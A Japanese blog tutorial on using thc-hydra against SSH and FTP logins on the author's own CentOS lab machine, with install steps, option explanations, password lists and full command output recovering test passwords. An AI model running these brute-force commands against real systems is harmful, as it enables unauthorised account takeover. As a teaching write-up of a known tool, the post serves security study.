ゾンビ狩りクラブ

Linux, Server, Network, Security 関連などをゆるーくテキトーに載せてます

thc-hydra を使ってブルートフォース攻撃をしてみる

Index

1. はじめに

今回は、thc-hydraを使用して、SSHとFTPの認証に対してブルートフォース攻撃を試しめみる。
hydraは、パスワードクラックツールであり、以下のプロトコルに対応している。

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP
% uname -a
Linux cmp 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

% lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:    16.04
Codename:   xenial

2. インストール

hydra は、apt でインストールすることができる。

% sudo apt install hydra

また、これらもインストールする。

% sudo apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev

Macの場合は、以下でインストールすることができる。

% brew install hydra

3. 使用方法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:

  • -l LOGIN or -L FILE
    ログイン名、またはログイン名のリストファイル

  • -p PASS or -P FILE
    試すパスワード、またはパスワードリストファイル

  • -C FILE
    -L/-P オプションの代わりにコロン区切りの書式(login:pass)を利用する。

  • -M FILE
    攻撃するサーバのリスト
    ':' でポートを指定できる。

  • -t TASKS
    1ターゲットに対する並列に処理するタスク数(デフォルトは16)

  • -U
    service module usage details
    モジュールの詳細な使い方表示

  • -h
    ヘルプ表示

  • server
    ターゲットのドメイン名、IPまたは、IPレンジ(このオプションか -M オプションを使用する)

  • service
    攻撃を試みるサービスを指定する

  • OPT
    いくつかのモジュールがサポートしている追加の入力(-U オプションで詳細表示)

また、この他にも、総当りの文字を作成し、攻撃する "-x" オプションが存在する。
x オプションの書式は以下になる。

-x 最短長:最大長:charset

また、charset は以下が指定できる。

charset 説明
a 小文字
A 大文字
1 数字

上記の他に文字を指定した場合は、その文字を使用する。

説明
-x 1:3:a 小文字の1から3文字のパスワードを生成する
-x 3:3:@$% @$%の3つの文字で、3文字のパスワードを生成する
-x 2:4:A1 大文字と数字で2から4文字のパスワードを生成する

4. パスワードリストを用意する

パスワードリストは、インターネットでテキトーに検索して手に入れるか、もしくは、Linuxにもともとあるリストを使用することもできる。
パスワードリストは、以下のディレクトリに格納されている。

/usr/share/dict

5. SSHを攻撃してみる

環境

今回の攻撃対象の環境は以下になる。 - CentOS7
- OpenSSH_7.4p1, OpenSSL 1.0.2k-fips
- SSHの設定はデフォルト
- IPアドレスは、10.0.2.5

また、SSHのユーザとパスワードは以下に設定した。

User Name : sshuser
Password  : mickey

パスワードリストの用意

以下のパスワードリストを password.txt として保存する。

ashley
6969
nicole
mickey
chelsea
biteme
matthew

また、以下からパスワードリストをダウンロードする。
(このファイルの134行目に mickey が記述されている)

% wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_1000.txt

辞書攻撃を実行する

% hydra -l sshuser -P password.txt ssh://10.0.2.5      
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:15:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 64 tasks, 7 login tries (l:1/p:7), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 10.0.2.5   login: sshuser   password: mickey
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:15:19

攻撃が成功して、パスワードが mickey であることがわかった。

次に、10_million_password_list_top_1000.txt を使用して攻撃してみる。

% hydra -l sshuser -P 10_million_password_list_top_1000.txt ssh://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:16:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1000 login tries (l:1/p:1000), ~0 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 163.00 tries/min, 163 tries in 00:01h, 837 todo in 00:06h, 16 active
[STATUS] 118.33 tries/min, 355 tries in 00:03h, 645 todo in 00:06h, 16 active
[STATUS] 105.57 tries/min, 739 tries in 00:07h, 261 todo in 00:03h, 16 active
[STATUS] attack finished for 10.0.2.5 (waiting for children to finish) ...
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:26:54

パスワードリストに正解のパスワードがあるはずなのに、失敗した。
なぜだろうか。
これは以下2つの設定が原因だと判明した。

  1. sshd_config の MaxAuthTries オプション(デフォルトでは6)
  2. hydra のタスク数(デフォルトでは16)

前者の MaxAuthTries は、一回の接続での試行回数制限である。
デフォルトの設定の場合、一回の接続で 6 回までパスワードを間違えられる。

そして問題は、後者の hydra である。 どうやら hydra は、ひとつのタスクごとに接続は一回しで、一回の接続で何回も総当りをするらしい。
となると、一タスクあたり6回までしかパスワードを試せないことになる。

今回、16タスクで行ったので、正解のパスワードが 96 行以内に入っていないと、解析失敗という表示が出る。
また、この表示も問題で、本当にパスワードがリストになかったからか、上記の問題でサーバから認証を拒否されたからか、どちらかがわからない。

これは本当にどうにかならないのだろうか...
一タスクの接続回数など決められる方法をご存知の方がいれば教えていただきたい。

また、ncrack という総当たり攻撃ツールは、このようなことがなかったので、ssh の総当たりは ncrack を用いたほうが良いかもしれない。

6. FTPを攻撃してみる

環境

  • CentOS7
  • vsftpd: version 3.0.2
  • ftpの設定はデフォルト
  • IPアドレスは、10.0.2.5

また、SSHのユーザとパスワードは以下に設定した。

User Name : ftpuser
Password  : elvis

リストの作成

今回は、以下のユーザリストを作成し、user.txt という名前で保存する。

sshuser
ftpuser

また、パスワードリストは、先ほど使用した 10_million_password_list_top_1000.txt を使用する。

辞書攻撃を実行する

ユーザリストファイルとパスワードリストファイルを指定して実行する。

% hydra -L user.txt -P 10_million_password_list_top_1000.txt ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 14:43:57
[DATA] max 16 tasks per 1 server, overall 64 tasks, 2000 login tries (l:2/p:1000), ~1 try per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 10.0.2.5   login: sshuser   password: mickey
[STATUS] 1187.00 tries/min, 1187 tries in 00:01h, 813 todo in 00:01h, 16 active
[STATUS] 753.50 tries/min, 1507 tries in 00:02h, 493 todo in 00:01h, 16 active
[STATUS] 605.67 tries/min, 1817 tries in 00:03h, 183 todo in 00:01h, 16 active
[21][ftp] host: 10.0.2.5   login: ftpuser   password: elvis
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-10-23 14:47:20

SSHと違い制限がないので、sshuser と ftpuser のパスワードが判明した。

総当り攻撃を実行する

今回は、パスワードが先ほどの "elvis" だとかなり時間がかかるので、パスワードを "626" に変更して実施する。

% hydra -l ftpuser -x 1:3:1 ftp://10.0.2.5
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-10-23 15:14:17
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 16 tasks per 1 server, overall 64 tasks, 1110 login tries (l:1/p:1110), ~1 try per task
[DATA] attacking service ftp on port 21
[STATUS] 320.00 tries/min, 320 tries in 00:01h, 790 todo in 00:03h, 16 active
[21][ftp] host: 10.0.2.5   login: ftpuser   password: 626

パスワードを解読することができた。

参考

vanhauser-thc/thc-hydra